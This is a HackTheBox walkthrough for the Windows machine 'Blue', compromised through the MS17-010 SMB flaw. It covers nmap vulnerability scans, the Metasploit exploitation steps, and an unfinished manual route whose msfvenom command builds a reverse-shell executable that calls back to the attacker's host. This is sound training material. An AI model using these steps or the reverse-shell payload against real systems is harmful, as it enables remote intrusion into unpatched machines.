Blue

Platform: HackTheBox | Difficulty: Easy | OS: Windows Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Blue (Windows). Foothold via rce, smb; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap --script smb-vuln* -p 139,445 10.10.10.40

Enumeration highlights

• Detected OS: Windows.
• Scan used: nmap --script smb-vuln* -p 139,445 10.10.10.40.

Foothold

Vulnerability / Misconfiguration

1. First, let's scan the host given using nmap.

2. Based from the output, we know that port 445 shall be our interests, because it seems running some types of network shares. Remember that 139 & 445 is SMB port, so let's check nmap scripts about smb-vuln. Now only what now we know that we're working with windows 7.

3. Simply run this command:

ls /usr/share/nmap/scripts | grep smb-vuln

1. Now let's use all of them for port 139 & 445.

nmap --script smb-vuln* -p 139,445 10.10.10.40

1. As we can see the vuln here is we can do RCE, also we got the link references:

2. Anyway, i will try to use the metasploit first, then i'll try to solve it without metasploit.

WITH METASPLOIT

1. First, open msfconsole, then input this command -> search ms17-010

2. The modules we want to use must be 0 , 2, and 3. But let's try with 0 and 2 first.

Reason:
The 1st module -> Is intended for windows 8, which is not the system.
The 3rd module -> Is auxiliary, though it says command execution, let's put is last. 
The 4th module -> Is a scanner.
The 5th module -> Is using a backdoor (must be on the system already).

1. Let's type use 0.

2. Type exploit.

3. Great! Turns out we're already the root.

4. Let's set the mode to stable shell.

5. When i tried to list all the directories, we got many directories. But our interest here is to jump to the Users or users directory.

6. Let's try one of them.

7. Got it, now let's lists it.

8. Let's jump to harris -> Desktop.

9. Got the user flag!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

WITHOUT METASPLOIT APPROACH (UNFINISHED)

1. Now without the metasploit, let's see if there's any python script we can use in the exploitdb.

searchsploit ms17-010

1. Since we're working with windows 7, let's download this one:

searchsploit -m 42315

1. Anyway let's try to run the script to see if there are any python requirement we need to install first.

2. Since the repository is no longer available, i used this one:

https://github.com/worawit/MS17-010/blob/master/mysmb.py

1. Hence we got 2 scripts now.

2. Next, we need to use msfvenom to generate a simple executeable which has reverse shell payload.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.17 LPORT=443 -f exe > reverseShell.exe

1. Now we need to change the exploit to add credentials, since we don't have any creds, let's check with enum4linux whether the machine allows us to enter guest username.

2. Great we're allowed then.

3. Now let's do few changes for 42315.py

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.